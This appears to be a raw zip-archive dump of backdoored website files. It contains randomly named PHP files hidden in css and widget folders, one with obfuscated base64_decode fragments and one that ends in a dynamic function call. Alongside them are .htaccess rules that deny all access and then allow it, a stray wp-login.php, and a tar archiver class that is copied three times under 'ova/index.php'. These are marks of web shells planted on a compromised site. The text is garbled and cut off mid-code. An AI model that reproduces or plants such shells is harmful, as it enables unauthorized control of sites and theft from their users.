$result; } } PKEO\zf6style-engine/user/php-compat/network/wp/CqoriyiAOX.phpnu15M1+UKC?O4)>2Ra;,f@@2{oXt_-*/(/*-TGf).F4o-*/base64_decode/*-W_PKEO\Qd1style-engine/user/php-compat/network/wp/.htaccessnu RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] Order Allow,Deny Deny from all Order Allow,Deny Allow from all PKEO\|,T7T7style-engine/ova/index.phpnutasslihorec sfaxoistadet bintestcss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PKEO\uЌ$php/widgets/IXR/ID3/wp/WCjXVAOMw.phpnu".$k($hh));?>PKEO\71_ php/widgets/IXR/ID3/wp/.htaccessnu RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] Order Allow,Deny Deny from all Order Allow,Deny Allow from all PKEO\|,T7T7php/ova/index.phpnutasslihorec sfaxoistadet bintestcss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PKEO\461: css/cFhAi.phpnuPKEO\z3MM'css/colors/midnight/colors-rtls.min.cssnu RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] Order Allow,Deny Deny from all Order Allow,Deny Allow from all PKEO\Sʉcss/colors/midnight/.htaccessnu Order allow,deny Deny from all PKEO\Sʉcss/colors/.htaccessnu Order allow,deny Deny from all PKEO\](css/colors/modern/wp-login.phpnu PKEO\Bcss/colors/modern/.htaccessnu RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] Order Allow,Deny Deny from all Order Allow,Deny Allow from all PKEO\|,T7T7css/ova/index.phpnutasslihorec sfaxoistadet bintestcss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' 